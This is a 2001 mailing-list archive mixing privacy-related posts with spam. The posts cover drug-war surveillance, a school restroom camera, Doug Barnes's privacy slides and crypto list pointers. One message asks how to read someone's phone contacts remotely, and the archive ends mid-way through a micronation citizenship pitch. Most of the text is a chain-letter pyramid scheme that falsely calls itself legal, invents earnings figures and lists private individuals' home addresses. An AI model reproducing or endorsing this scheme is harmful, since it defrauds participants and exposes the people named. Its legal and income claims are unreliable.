Is it possible to access the contents of somebody's mobile phone phonebook over the air without actually touching their phone or cloning it?

Please reply to me at carl at carl57.fsnet.co.uk
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From chau at coolemail.com  Fri Feb  2 23:56:40 2001
From: chau at coolemail.com (chau at coolemail.com)
Date: Sat, 3 Feb 2001 02:56:40 -0500
Subject: Turn $6 into $50,000
Message-ID: <B0018067817@kcmail04>


Turn 6$ into 50,000$

It's true.Read this carefully or download to read

A while back, I was browsing these newsgroups, just like you are now, and 
came across an article similar to this 
that said you could make thousands of CASH within weeks with only an 
initial investment of 
$6.00 plus stamps! So I thought, "Yeah, right, this must be a scam!" But 
like most of us I was curious and kept 
reading. It said that if you send $1.00 to each of 
the 6 names and addresses listed in the article, you could make thousands 
in a very short period of time. You 
then place your own name and address at the bottom of the list at #6, and 
post the article to at least 300 
newsgroups. (There are about 32,000 of them out there and that's quite a 
large market pool). No catch, that was 
it. Even though the investment was a measly $6, I had three questions that 
needed to be answered before I could 
get involved in this sort of thing. 

1. IS THIS REALLY LEGAL? 
I called a lawyer first. The lawyer was a little sceptical that I would 
actually make any CASH but he said it WAS 
LEGAL if I wanted to try it. I told him it sounded a lot like a chain 
letter but the details of the system (SEE 
BELOW) actually made it a legitimate legal business. 

2. IS OK WITH THE POST OFFICE OR IS IT MAIL FRAUD? I called them: 
1-800-725-2161 and they 
confirmed THIS IS ABSOLUTELY LEGAL! (See 18, h sections1302 NS 1341 of 
Postal Lottery Laws). This 
clarifies the program of collecting names and addresses for a mailing list. 

3. IS IT RIGHT? Well, everyone who sends me a buck has a good chance of 
getting A LOT of CASH ... a much 
better chance than buying a lottery ticket!!! 

So, having these questions answered, I invested EXACTLY $7.92 ... six $1.00 
bills and six 32 cent postage 
stamps ... and boy am I glad I did!!! 
Within 7 days, I started getting CASH in the mail! I was shocked! I figured 
it would end soon and didn't give it 
another thought. But the CASH continued coming in. In my first week I made 
between $20 to $30. 
By the end of the second week I had a made a total of $1,000.00. In the 
third week I had over $10,000.00 and it 
was still growing. This is now my fourth week and I have made a total of 
just over $42,000 and it's still coming 
in ..... 
It's certainly worth $6.00 and 6 stamps !!! 

Also, make sure you print a copy of this article NOW, so you can get the 
information off of it as you need it. I 
promise you that if you follow the directions exactly, that you will start 
making more CASH than you thought 
possible by doing something so easy! 

Suggestion: Read this entire message carefully! (print it out or download 
it.) Follow the simple directions and 
watch the CASH come in! It's easy. It's legal. 
And, your investment is only $6.00 (Plus postage) 

IMPORTANT: This is not a rip-off; it is not indecent; it is not illegal; 
and it is virtually no risk - it really 
works!!!! If all of the following instructions are adhered to, you will 
receive extraordinary dividends. 

PLEASE NOTE: 
Please follow these directions EXACTLY, and $50,000 or more can be yours in 
20 to 60 days. This program 
remains successful because of the honesty and integrity of the 
participants. Please continue its success by 
carefully adhering to the instructions. 
You will now become part of the Mail Order business. In this business your 
product is not solid and tangible, it's 
a service. You are in the business of developing Mailing Lists. Many large 
corporations are happy to pay big 
bucks for quality lists. However, the CASH made from the mailing lists is 
secondary to the income which is made 
from people like you and me asking to be included in that list. 

Here are the 4 easy steps to success: 
STEP 1: Get 6 separate pieces of paper and write the following on each 
piece of paper "PLEASE PUT ME ON 
YOUR MAILING LIST." Now get 6 US $1.00 bills and place ONE inside EACH of 
the 6 pieces of paper so the 
bill will not be seen through the envelope (to prevent 
thievery). Place one paper in each of the 6 envelopes and seal them. You 
should now have 6 sealed envelopes, 
each with a piece of paper stating the above phrase, your name and address, 
and a $1.00 bill. What you are doing 
is creating a service. THIS IS ABSOLUTELY LEGAL! You are requesting a 
legitimate service and you are 
paying for it! Like most of us I was a little skeptical and a little 
worried about the legal aspects of it all. So I 
checked it out with the U.S. Post Office (1-800-725-2161) and they 
confirmed that it is indeed legal! Mail the 6 
envelopes to the following addresses: 



#1) J. Thomas 
36 Easterly Drive 
East Sandwich, MA 02537 

#2)Christopher L. Sloan 
2200 Hickory St. 
H.S.U. Box #14579 
Abilene, TX 79698 

#3) Kristen DeJoseph 
138 Jansen Street 
Staten Island, NY 10312 

#4) Baraquin Yannick 
10 Charlemagne 
L-1328 Luxemburg 
Luxemburg 

#5)Le Huynh Ngoc Phan
75/11 Nguyen Van Cu P1Q5
Ho Chi Minh City
Viet Nam

#6) Ngocchau Tran
9742 Hibiscus Drive
Garden Grove, Ca 92841



STEP 2: Now take the #1 off the list that you see above, move the 
other names up (6 becomes 5, 5 
becomes 4, 5 becomes 4, 4 becomces 3, 3 becomce 2, 2 becomes 1
) and add YOUR Name and address as number 6 on the list. 

STEP 3: Change anything you need to, but try to keep this article as close 
to original as possible. Now, post your 
amended article to at least 300 newsgroups. (I think there are close to 
32,000 groups) All you need is 300, but 
remember, the more you post, the more CASH you make! This is perfectly 
legal! If you have any doubts, refer to 
18 Sec. 1302 & 1341 of the Postal lottery laws. Keep a copy of these steps 
for 
yourself and, whenever you need CASH, you can use it again, and again. 

PLEASE REMEMBER that this program remains successful because of the honesty 
and integrity of the 
participants and by their carefully adhering to the directions. Look at it 
this way. If you are a person of 
integrity, the program will continue and the CASH that so many others have 
received will come your way. 
NOTE: You may want to retain every name and address sent to you, either on 
a computer or hard copy and keep 
the notes people send you. This VERIFIES that you are truly providing a 
service. (Also, it might be a good idea 
to wrap the $1 bill in dark paper to reduce 
the risk of mail theft.) So, as each post is downloaded and the directions 
carefully followed, 
six members will be reimbursed for their participation as a List Developer 
with one dollar each. Your name will 
move up the list geometrically so that when your name reaches the #1 
position you will be receiving thousands of 
CASH in CASH!!! What an opportunity for only $6.00 ($1.00 for each of the 
first six people listed above) Send 
it now, add your own name to the list and you're in business! 

---DIRECTIONS ----- FOR HOW TO POST TO NEWSGROUPS 

Step 1) You do not need to re-type this entire letter to do your own 
posting. Simply put your cursor at the 
beginning of this letter and drag your cursor to the bottom of this letter, 
and select 'copy' from the edit menu. 
This will copy the entire letter into the computer's memory. 

Step 2) Open a blank 'notepad' file and place your cursor at the top of the 
blank page. From the 'edit' menu select 
'paste'. This will paste a copy of the letter into notepad so that you can 
add your name to the list. 

Step 3) Save your new notepad file as a .txt file. If you want to do your 
postings in different settings, you'll 
always have this file to go back to. 

Step 4) Use Netscape or Internet explorer and try searching for various 
newsgroups (on-line forums, message 
boards, chat sites, discussions.) 

Step 5) Visit these message boards and post this article as a new message 
by highlighting the text of this letter 
and selecting paste from the edit menu. Fill in the Subject, this will be 
the header 
that everyone sees as they scroll through the list of postings in a 
particular group, click the post message button. 
You're done with your first one! 
Congratulations...THAT'S IT! All you have to do is jump to different 
newsgroups and post away, after you get 
the hang of it, it will take about 30 seconds for each newsgroup! 

**REMEMBER, THE MORE NEWSGROUPS YOU POST IN, THE 
MORE CASH YOU WILL MAKE!! 
BUT YOU HAVE TO POST A MINIMUM OF 300** 

That's it! You will begin receiving CASH from around the world within days! 
You may eventually want to rent a 
P.O.Box due to the large amount of mail you will receive. If you wish to 
stay anonymous, you can invent 
a name to use, as long as the postman will deliver it. 
**JUST MAKE SURE ALL THE ADDRESSES ARE CORRECT.** 

Now the WHY part: 
Out of 300 postings, say I receive only 7 replies (a very low example). So 
then I made $7.00 with my name at #6 
on the letter. Now, each of the 7 persons who just sent me $1.00 make the 
MINIMUM 300 postings, 
each with my name at #5 and only 7 persons respond to each of the 7 
original 7, that is another $49.00 for me, 
now those 49 each make 300 MINIMUM posts with my name at #4 and only 7 
replies each, I will bring in an 
additional $343.00! Now, those 343 persons turn around and post the MINIMUM 
300 with my name at #3 and 
only receive 7 replies each, I will make an additional $2401.00! OK, now 
here is the fun part, each of those 2401 
persons post a MINIMUM 300 letters with my name 
at #2 and they each only receive 7 replies, that just made me $16,807.00!!! 
Those 16807 persons will all deliver 
this message to 300 newsgroups with my name at #1 and if still 7 persons 
per 300 Newsgroups react I will 
receive $117,649.00! With an original investment 
of only $6.00! And some stamps. 
AMAZING! When your name is no longer on the list, you just take the latest 
posting in the newsgroups, and 
send out another $6.00 to names on the list, putting your name at number 6 
again. And start posting again. The 
thing to remember is: do you realize that thousands of people all over the 
world are joining the internet and 
reading these articles everyday? JUST LIKE YOU are now!! So, can you afford 
$6.00 and see if it really 
works?? I think so... 
People have said, "what if the plan is played out and no one sends you the 
CASH? So what! What are the 
chances of that happening when there are tons of new honest users and new 
honest people who are joining the 
internet and newsgroups everyday and are willing to give it a try? 

Estimates are at 20,000 to 50,000 new users, every day, with thousands of 
those joining the actual internet. 

Remember, play FAIRLY and HONESTLY and this will really work. 

By the way, if you try to deceive people by posting the messages with 
your name in the list and not sending 
the CASH to the rest of the people already on the list, you will NOT get as 
much. Someone I talked 
to knew someone who did that and he only made about $150.00, and that's 
after seven or eight weeks! Then he 
sent the 6 $1.00 bills, people added him to their lists, and in 4-5 weeks 
he had over $10k. 
This is the fairest and most honest way I have ever seen to share the 
wealth of the world without costing 
anything but our time!!! You also may want to buy mailing and e-mail lists 
for future CASH. 
Make sure you print this article out RIGHT NOW! Also, try to keep a list of 
everyone that sends you CASH and 
always keep an eye on the newsgroups to make sure everyone is playing 
fairly. Remember, HONESTY IS THE 
BEST POLICY. You don't need to cheat the basic idea to make the CASH!! GOOD 
LUCK to all and please 
play fairly and reap the huge rewards from this, which is tons of extra 
CASH. 

Please remember to declare your extra income. Thanks once again... 

"People have asked me if this is really legal. Well, it is! You are using 
the Internet to advertise your business. 
What is that business? You are creating a mailing list of people who are 
interested in home based computer and 
online business and methods of generating income at home. Remember, people 
send 
you a small fee to be added to your mailing list. It is legal. what will 
you do with your list of thousands of names? 
That's up to you." So, build your mailing list, keep good accounts, declare 
the income and 
pay your taxes. By doing this you prove your business intentions. Keep an 
eye on the newsgroups and when the 
cash has stopped coming (that means your name is no longer on the list), 
you just take the latest posting at the 
newsgroups, send another $6.00 to the names stated on the list, make your 
corrections (put your name at #6) and 
start posting again. 

NOTES: 
*1. In some countries, the export of the country's exchange is illegal. But 
you can get the license to do this from 
the post office, explaining the above statements (that you have an online 
business, etc. You may have to pay an 
extra tax, but that's OK, the amount of the incoming CASH is HUGE! And as I 
said, a few countries have that 
restriction . 
*2. You may want to buy mailing and e-mail lists for future CASH. (Or 
Database or Spreadsheet software.) 
*3. If you're really not sure or still think this can't be for real, please 
print a copy of this article and give it to 
someone who really needs the CASH, and see what happens. 
*4. You will start getting responses within 1-2 weeks, it depends. 

***ALSO REMEMBER*** 
SEND YOUR $1 OUT TO EVERYONE ON THE LIST, 
EVEN IF THEY ARE NOT FROM THE U.S. 

WHAT ARE YOU WAITING FOR??? 
$$$!!!$$$!!!$$$!!!$$$!!!$$$!!!$$$!!!$$$!!!$$$!!!$$$!!! 





_______________________________________
CoolEmail -- Now you're talking.
Get Free Email-By-Phone Today.
http://www.CoolEmail.com






From allfreewinning at yahoo.com  Fri Feb  2 20:10:34 2001
From: allfreewinning at yahoo.com (Yehoo)
Date: Sat, 3 Feb 2001 06:10:34 +0200
Subject: Go ahead, dream a little...
Message-ID: <200103091628.QAA5992261@mail.nets1.com.jo>


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put the word unsubscribe.
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From freematt at coil.com  Sat Feb  3 09:26:45 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Sat, 3 Feb 2001 12:26:45 -0500
Subject: War On Drugs Targets Tech
Message-ID: <v0422085bb6a1ef8e2825@[198.4.94.218]>


War On Drugs Targets Tech
http://dailynews.yahoo.com/h/zd/20010202/tc/war_on_drugs_targets_tech_1.html

Friday February 02 01:16 PM EST
War On Drugs Targets Tech

By Lewis Z. Koch Special To Interactive Week,

The new scapegoat for the failed War on Drugs is, of all things, technology.

The 120-page December 2000 International Crime Threat Assessment report -
created by basically every federal law enforcement agency in the U.S. - is
riddled with examples of how computer technology has advanced the cause of
national and international crime. Modern telecommunications and information
systems, state-of-the-art communications equipment, computers - they're all
to blame.

What the report fails to squarely acknowledge is that the oil that fuels
organized crime in the U.S. and abroad, including terrorist organizations,
is profit from the trade in illegal drugs bound for the U.S. - billions of
dollars in profit from drug sales that enhance the power of international
crime cartels and their ability to corrupt police, judges and governmental
officials from Tijuana to Tanzania.

"Through the use of computers, international criminals have an
unprecedented capability to obtain, process and protect information and
sidestep law enforcement investigations," the report stated. "They can use
the interactive capabilities of advanced computers and telecommunications
systems to plot marketing strategies for drugs and other illicit
commodities, to find the most efficient routes and methods for smuggling
and moving money in the financial system and to create false trails for law
enforcement or banking security."

It goes on to assert: "More threateningly, some criminal organizations
appear to be adept at using technology for counterintelligence purposes and
for tracking law enforcement activities."

In other words, it's not our flawed drug policy that's to blame - it's new
technology.

Where All This Began

In 1937, Harry J. Anslinger, six years into his 30-year-reign as director
at the Federal Bureau of Narcotics, testified before the U.S. Senate on
behalf of the "Marihuana Tax Act." This delighted the Hearst newspapers,
which, lacking a real war to increase newspaper sales, launched an all-out
battle against demon marijuana. Here are a few excerpts from Anslinger's
sworn testimony. Clearly, our drug policy traces its roots to reasoning
that was as racist and alarmist as it was wildly inaccurate:

* "There are 100,000 total marijuana smokers in the U.S., and most are
Negroes, Hispanics, Filipinos and entertainers. Their Satanic music, jazz
and swing, result from marijuana use. This marijuana can cause white women
to seek sexual relations with Negroes, entertainers and any others."

* "The primary reason to outlaw marijuana is its effect on the degenerate
races."

* "Marijuana is an addictive drug which produces in its users insanity,
criminality and death."

* "Marijuana is the most violence-causing drug in the history of mankind."

With Hearst's backing, Anslinger's war on marijuana escalated to an all-out
war on narcotics.

Now, after six and a half decades of speeches and hundreds of thousands,
perhaps millions, of arrests, convictions and sentences, what signs point
to even modest success in this multitrillion-dollar war against drugs? Drug
trafficking is the most profitable of all illegal activities, according to
the International Crime Threat Assessment.

Where Do We Go from Here?

Instead of rethinking the sanity of our basic policy on drugs, federal
police agencies appear bent on blaming technology - unbreakable encryption
via e-mail, encrypted cellular phones and faster, cheaper networked
computers - for the losses sustained in the drug war. This is clearly
nonsense.

In 1999 alone, Americans spent an estimated $63 billion on illegal drugs,
according to the Office of National Drug Control Policy. And the National
Institute on Drug Abuse stated: "The estimated total cost of drug abuse in
the United States - including health care and lost productivity - was $110
billion in 1995, the latest year for which data is available."

In addition, a U.S. Customs Service report said the department will soon be
able to inspect only 1 percent of all goods entering the U.S.

This is the score after six and a half decades of our drug policy. Do we
have to wait until 2037 to recognize that we lost the Hundred Years' Drug
War? And,! in the meantime, will we see more and more attacks on technology
as the evil ally of narcotics?

The obvious yet politically difficult solution here is to remove the
profitability factor from drugs. Will there be more casualties? Will more
people succumb to addiction? Maybe. But don't we already have casualties?
You have to employ some tortured logic to rationalize how removing the
profit incentive from drug use could make things any worse than they are.

Now the Feds want to escalate the war as an excuse for having their way
with encryption. But encryption is an essential business tool and a means
of protecting our privacy. Outlawing it as a scapegoat of our drug policy
is like trembling in fear before the great Wizard of Oz and paying no
attention to the discredited man and his policies behind the curtain.

Introducing Lewis Koch's "First Annual George Orwell 1984 Award"

The prize, a 1949 first-edition copy of Orwell's 1984, worth about $100,
will be awarded to the reader who supplies the best tip about an
egregious assault on personal privacy. The judges will be yours truly, plus
Richard M. Smith and other officers of the Privacy Foundation.

E-mail all suggestions to lzkoch@<http://mediaone.netmediaone.net. All tips
will be held in strictest confidence, so the award might well go to
"anonymous." All suggestions will be fully investigated and thoroughly
checked.

**************************************************************************
Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
Send a blank message to: freematt at coil.com with the words subscribe FA
on the subject line. List is private and moderated (7-30 messages per month)
Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
(614) 313-5722     Archived at http://groups.yahoo.com/group/fa/
**************************************************************************




From richard at the-place.net  Sat Feb  3 06:05:35 2001
From: richard at the-place.net (Richard Lyons)
Date: Sat, 03 Feb 2001 14:05:35 GMT
Subject: Realtime facial recognition cameras used at Super Bowl
In-Reply-To: <20010202120501.D16974@ideath.parrhesia.com>
References: <20010201115613.E12518@ideath.parrhesia.com> <20010201152651.A5187@weathership.homeport.org> <20010201143416.F12518@ideath.parrhesia.com> <20010201202154.A7101@weathership.homeport.org> <20010202.9062090@mis.configured.host> <20010202120501.D16974@ideath.parrhesia.com>
Message-ID: <20010203.14053533@mis.configured.host>



>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 02-02-01, 20:05:02, Greg Broiles <gbroiles at netbox.com> wrote regarding 
Re: Realtime facial recognition cameras used at Super Bowl:


> On Fri, Feb 02, 2001 at 09:06:20AM +0000, Richard Lyons wrote:
> >
> > I'm new to this list, so hello everyone.  I'm also on the other side of
> > the pond, so I'm interested in what you are recounting.  Here, in the UK,
> > stalking is illegal, so is recording phone conversations covertly.  But
> > the police are installing a network of CCTV -- not the general
> > surveillance cameras in town centres which everyone loves, but a new set
> > of low-level cameras that are directed into the windscreens of vehicles
> > passing.  So they can track exactly who goes where when.  I'm not sure
> > what intelligence they have installed (so far).  In fact, I am not sure
> > of anything about them, because they have never been mentioned in the
> > media, and most people I've talked to haven't even noticed they are
> > there!
> >
> > I'm wondering whether to try marketing driving masks...  And whether, if
> > I did, they would be outlawed (on grounds that they reduce driver vision
> > and cause danger, of course).

> Well, that's disturbing. I wonder how long it's going to be before
> politicians figure out that these cameras will also be revealing the
> details of their lives, too - mistresses being driven around at 
lunchtime,
> driving meetings with underworld figures or members of other parties, etc 
-
> people generally expect some privacy while driving, especially if they're
> not near home. It does sound like a wonderful way to get blackmail
> material or general intelligence.

Except that I'd certainly expect the police here to treat politicians a 
little 
differently from other drivers -- unless the public was looking, and 
these 
cameras aren't in the pubic domain.

> I'm pretty skeptical about the idea of the masks - not that they wouldn't
> work, in that sure, they'll block your face - but I don't think that 
people
> will start wearing them or buying them.

> Doug Barnes, an early cypherpunk, gave an interesting talk at the recent
> Mac Crypto conference regarding the social role of privacy - in 
particular,
> he suggested that people who take steps to preserve their privacy may be
> signalling to other potential counterparties (in a variety of social and
> business contexts) that they're not trustworthy or fully legitimate ..
> our reactions to those signals may not be occurring at a fully rational
> or conscious level. While he suggested some methods for changing that
> perception, as a baseline that's a reasonable way to think about how
> most of the world views privacy. Even people who are also concerned about
> these cameras may be reluctant to buy or wear masks - not because they
> like the cameras, but because they don't want to be perceived by their
> family and friends as thieves or as untrustworthy people.

That is a very good point.  I think getting a car with dark glass may be 
a 
better response.

> Slides from Doug's talk might be online at
> <http://www.io.com/~cman/ps/peoplestupid_files/frame.htm>, though
> I haven't been able to get them to load in Netscape under FreeBSD.

I had a look at that URL.  Star Office browser crashed trying to open it, 
but when using IE5 I got at least the text.  I've copied it below in case 
you or others would like to see.
> --
> Greg Broiles gbroiles at netbox.com
> PO Box 897
> Oakland CA 94604

------------------------------------------------------
Richard Lyons
------------------------------------------------------
     smtp: richard at the-place.net 
------------------------------------------------------
copy of Doug Barnes's slides follows:
----------------------------------------
   Its the People, Stupid
 An analysis of privacy self-protection 
 as a public health issue.
----------------------------------------
   People Worry About Privacy
Privacy cited as #1 concern people have 
 about using web sites. 
Surveys show up to 97% of people say they are 
 reluctant to provide information on web sites. 
Much hand-wringing as information is, in fact, 
 combined and used in harmful or undesirable 
 ways, e.g. medical records.
----------------------------------------
   But Do Nothing About It
Vast majority of e-mail is unencrypted. 
Vast majority of IP traffic is unencrypted.
Almost everyone voluntarily trades personal 
 information for a small increase in ease-of-use. 
More advanced tools are not developed based on 
 limited uptake of more basic ones.
-----------------------------------------
   Case In Point: Doug Barnes
Will happily install buggy P2P software to 
 find warez and MP3s, but grumbles every time 
 he has to fire up PGP. 
Thinks less and less before entering personal 
 information at web portal sites with each 
 passing month. 
Actually used Evite recently to announce a party.
------------------------------------------
   Old, Tired Excuses
The available software sucks. 
Greedy companies have stupid patents and wont 
 let us play. 
Evil Government wont let us export. 
Nothing really bad has happened yet, once someone 
 gets in serious trouble, then everyone will see 
 the light.
------------------------------------------
   Its Time for a Fresh Excuse
Lack of buy-in on privacy self-protection is a 
 social and emotional problem more than a technical 
 or political one. 
Although similar to other widespread social 
 problems, important differences make real solutions 
 harder.
-------------------------------------------
   What is Privacy Self-Protection?
Using available tools to protect ones own privacy. 
Strongly encouraging counter-parties to use these tools. 
Demanding guarantees and use of privacy protection 
 from vendors, withholding trade when necessary.
-------------------------------------------
   Analogous Problems 
Privacy self-protection is most like: 
   Using condoms. 
   Washing hands. 
   Civility. 
And has similar elements with: 
   Wearing seatbelts. 
   Water treatment.
--------------------------------------------
   Common Elements
Small individual efforts 
Low-probability of a potentially very large negative 
 outcome 
Importance of network effects 
Need for common infrastructure & network effects.
---------------------------------------------
   Minimum Efforts
Using slightly more expensive software 
Using software that is slightly more difficult to 
 configure or understand. 
Dealing with new error conditions & failure modes. 
Paying (or enduring cost-recovery) for somewhat 
 increased resource usage & infrastructure. 
people make these sorts of efforts for many other 
 reasons, but not for privacy. Why not?
----------------------------------------------
   Apparent Solutions (1)
Legislation 
   Could mandate minimum standards of 
    privacy protection in products. 
   BUT, government has a conflict of interest, 
    limited jurisdiction, and (in theory) should not 
    be as worried about this as individuals. 
Government education 
   Same conflict of interest 
   Likely to be ineffective
-----------------------------------------------
   Apparent Solutions (2)
Corporate Initiative 
   Products targeted at personal privacy have not 
    been big sellers. 
   Corporate-targeted products suffer from a conflict 
    of interest. 
Grassroots Public Health Approach 
----------------------------------------------- 
   Grassroots Public Health Approach
Members a group recognize harm, organize as necessary, 
 and create awareness of the public health problem. 
   Advocacy of harm avoidance is a pro-social activity. 
   Identifies advocate as a good counter-party in an 
    iterated prisoners dilemma. 
   Self-reinforcing and highly effective at solving this 
    type of problem.
------------------------------------------------
Anti-Social Nature of Privacy

   I had a wonderful time, even though there were 
    a lot of cypherpunks there.  Anon. 
------------------------------------------------
   The Stigma of Privacy Obsession
While everyone wants privacy, an exaggerated interest 
  in privacy sends signals that evoke a strong negative 
response in most human beings. 
   Privacy gives an individual an advantage in an iterated 
    prisoners dilemma. 
   BUT, this disrupts co-operative solutions to IPD. 
   Detecting & shunning those overly concerned with 
    privacy is part of a co-operative strategy for IPD.
-------------------------------------------------
Limited SanctionHuman rights (knowledge seekers are the other.) 
Sexual Medical?
-------------------------------------------------
   A New Excuse
A social movement advocating for strong privacy sows the 
 seeds of its own destruction by identifying itself as 
 fundamentally anti-social in nature. 
No grassroots approach to privacy self-protection will 
have widespread success until this problem is defused.
--------------------------------------------------




From freematt at coil.com  Sat Feb  3 11:24:06 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Sat, 3 Feb 2001 14:24:06 -0500
Subject: You're nominated for an award (Privacy)
Message-ID: <v04220870b6a20b049f38@[198.4.94.218]>


Dear Chief Miller <jmiller at hoa.net>,

I wanted you to be among the first to hear that I've nominated your 
Department, Reynoldsburg, Ohio, Police http://www.hoa.net/reypd/ for 
Lewis Koch's "First Annual George Orwell 1984 Award".  The prize, a 
1949 first-edition copy of Orwell's 1984, worth about $100, will be 
awarded to the reader who supplies the best tip about an  egregious 
assault on personal privacy. The judges will be yours truly, plus 
Richard M. Smith and other officers of the Privacy Foundation. E-mail 
all suggestions to lzkoch at mediaone.net. All tips will be held in 
strictest confidence, so the award might well go to "anonymous." All 
suggestions will be fully investigated and thoroughly checked.

You're being nominated for your approval of placing hidden police 
surveillance cameras in a Reyoldsburg High School student restroom.

In addition I especially found your encouragement to sign your 
Departmental web site guestbook enlightening:
"If you don't sign our Guest Book, we're gonna send the CyberPatrol 
out after ya!"

I hope you win.

Regards,  Matthew Gaylor-

At 2:03 PM -0400 10/24/99, Matthew Gaylor wrote:
>http://libpub.dispatch.com/cgi-bin/slwebcli.pl?DBLIST=cd99&DOCNUM=20898
>
>
>This article is  1999 The Columbus Dispatch
>
>'SECRET' CAMERA REMOVED FROM HIGH-SCHOOL BATHROOM
>
>Date: Thursday, October 14, 1999
>Section: NEWS
>Page: 12C
>Byline: Julie R. Bailey
>Source: Dispatch Schools Reporter
>
>Police put a video camera in a boys bathroom at Reynoldsburg High School
>last week, hoping to catch the person who wrote a message on a wall that
>could have been interpreted as a bomb threat. However, the camera was
>removed within hours after school custodians discovered it, Reynoldsburg
>Police Chief Jeanne Miller said yesterday. "It was no longer a secret,''
>Miller said, explaining why the camera was taken down. She said it was not
>in the stalls and was positioned to videotape only the head and shoulders
>of people in the bathroom. Some parents and students questioned using the
>camera. "I don't agree with the method because I believe it was an invasion
>of privacy,'' said Linda Rico, whose daughter attends the high school. "My
>daughter was extremely upset about it, and I took her side. I'm glad to
>hear the camera is gone.'' Within the past week to 10 days, messages were
>written on walls in two Þrst-þoor boys bathrooms at the school, 6699 E.
>Livingston Ave., Miller said. A camera was placed in only one of the
>bathrooms, she said. Reynoldsburg schools Superintendent Richard Ross said
>the messages were cryptic and did not include the words "bomb threat,'' but
>"it could be interpreted that it could be what it meant.'' Ross said the
>school now has more adult supervision in student bathrooms. Miller thinks
>the messages were copycats of two bomb threats written on bathroom walls at
>Westerville South High School last month. After the threats appeared, the
>principal banned book bags and backpacks and made students empty their
>lockers so they could be searched.
>
>###
>
>  >http://www.nytimes.com/library/tech/99/10/biztech/articles/24violence.html
>  >
>  >Computer Project Seeks to Avert Youth Violence
>  >
>  >Columbine Spurs Pilot Program at Schools
>  >
>  >By FRANCIS X. CLINES
>  >The New York Times
>  >
>  >REYNOLDSBURG, Ohio -- Spurred by the deadly rampage at Columbine 
>High School,
>  >the federal Bureau of Alcohol, Tobacco and Firearms is working with a
>  >threat-evaluation company to develop a computer program to help school
>  >administrators spot troubled students who might be near the brink 
>of violence.
>  >
>  >When the national pilot program, known as Mosaic-2000, begins 
>testing at more
>  >than 20 schools in December, its technique of confidentially vetting and
>  >rating
>  >potentially violent students on a scale of 1 to 10 will come not a 
>moment too
>  >soon for Steve Dackin, principal of Reynoldsburg High School.
>  >
>  >"Columbine forever changed things for all of us," Dackin said of 
>the school in
>  >Littleton, Colo., where two students shot 13 people to death before killing
>  >themselves in April.
>  >
>  ><snip>



**************************************************************************
Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
Send a blank message to: freematt at coil.com with the words subscribe FA
on the subject line. List is private and moderated (7-30 messages per month)
Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
(614) 313-5722     Archived at http://groups.yahoo.com/group/fa/
**************************************************************************




From editor at schenkreport.com  Sat Feb  3 12:41:07 2001
From: editor at schenkreport.com (editor at schenkreport.com)
Date: Sat, 03 Feb 2001 15:41:07 -0500
Subject: Invitation to a new Web site on politics and culture
Message-ID: <200102031542375.SM00184@amd-k6>


This is an invitation to you to visit a new Web site, The SCHENK
REPORT (http://www.SchenkReport.com), where the subjects are politics
and culture from a generally liberal point of view.

THE SCHENK REPORT features: 

**Insightful commentary, generally from the left but sometimes veering
off in other directions. Regular contributors include: 

Walt Brasch, an award-winning reporter and editor who is now a
professor of journalism in Pennsylvania. Among his virtues is that his
writing is often very funny.
 
Arthur Joel Katz, a retired TV and film executive whose favorite
causes include defending the First Amendment and pointing out the
insanity of the War on Drugs. 

Charles Schenk, editor and founder of THE SCHENK REPORT. I have 25
years experience in journalism. My special interests include the
Balkans, where I lived and taught English for two years. I reported
from the Balkans during the NATO bombing of Yugoslavia in 1999. (My
"Macedonian Diary" pieces, available at THE SCHENK REPORT, go a long
way toward explaining that troubled land.)

**There's a big page of Bushisms and a free Bushisms screensaver
guaranteed to irk the Republican in the next cubicle. 

**Another feature is Abortion Watch, a running chronology of the Bush
II administration's assault on a woman's right to choose. 

**THE SCHENK REPORT has lots of links to other writers, most of them
on the left, and to dozens of organizations that help to mobilize and
inform liberals.

**There's a column for letters to the editor, so readers can talk back
to us. 

In other words, if you're not really busy right now, it's worth a
click. The address is http://www.SchenkReport.com. 

Thanks. 

Sincerely, Charles Schenk
Editor, The Schenk Report

P.S. While you're there, sign up for the free newsletter by email. If
you don't have time to visit right now, but want to know about new
features as they're added, click on schenkreport-subscribe at topica.com.
(You can end your subscription at any time with this email address:
schenkreport-unsubscribe at topica.com.)




From bill.stewart at pobox.com  Sat Feb  3 15:47:54 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 03 Feb 2001 15:47:54 -0800
Subject: Coderpunks
In-Reply-To: <Pine.LNX.4.21.0102031614140.4384-100000@sovereign>
References: <00e301c08b2d$b90781c0$a25ac818@fu>
Message-ID: <3.0.5.32.20010203154754.019ed150@idiom.com>


Coderpunks-request at toad.com will get you to a quiet list
with a high signal-to-noise ratio.  It's not dead,
but it's usually not very busy, since nobody codes any more :-)
Cryptography-request at c2.net will get you to Perry's 
probably-still-moderated list, which has more traffic,
and does more cryptography discussion than coderpunks,
plus occasional relevant political or business news.

At 04:20 PM 2/3/01 -0500, V. Alex Brennen wrote:
>Does an active coderpunks list still exist?
>
>I'd like to sign off of cypherpunks because of the
>signal to noise ratio.  I'm working on a partial
>RFC2440 and RFC2040 implementations, and some other
>related projects. It would be nice to get on a list
>with other crypto programmers. 


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From vab at cryptnet.net  Sat Feb  3 13:20:30 2001
From: vab at cryptnet.net (V. Alex Brennen)
Date: Sat, 3 Feb 2001 16:20:30 -0500 (EST)
Subject: Coderpunks
In-Reply-To: <00e301c08b2d$b90781c0$a25ac818@fu>
Message-ID: <Pine.LNX.4.21.0102031614140.4384-100000@sovereign>

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From enenkio at webtv.net  Sat Feb  3 18:29:52 2001
From: enenkio at webtv.net (Robert Moore)
Date: Sat, 3 Feb 2001 16:29:52 -1000 (HST)
Subject: We need You !
Message-ID: <9459-3A7CBEA0-7129@storefull-611.iap.bryant.webtv.net>


The Kingdom of EnenKio
- Economic Citizenship Program - 
EnenKio is an English-speaking sovereign independent nation in the North
Pacific Ocean. As such, it is not a well-known economic and financial
sanctuary, but with the prospect of attracting qualified professionals
in every field of endeavor, it has a growing international financial
sector.
General Considerations
The Government of EnenKio operates an Economic Citizenship Program
(ECP), which allows the grant of citizenship to individuals of good
